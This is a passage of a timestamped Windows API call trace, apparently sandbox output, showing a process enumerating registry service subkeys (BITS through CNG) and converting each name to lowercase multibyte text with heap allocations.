[0239.401] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.401] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.401] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.401] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.402] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.402] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.402] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0239.402] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.402] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.403] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.403] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.403] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.403] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0239.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.404] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.404] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.404] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.404] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.404] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.404] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0239.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.405] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.405] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.405] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.405] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0239.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0239.405] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0239.405] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0239.405] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0239.405] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1da8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0239.406] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0239.406] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1da8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0239.406] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0239.406] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0239.406] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, 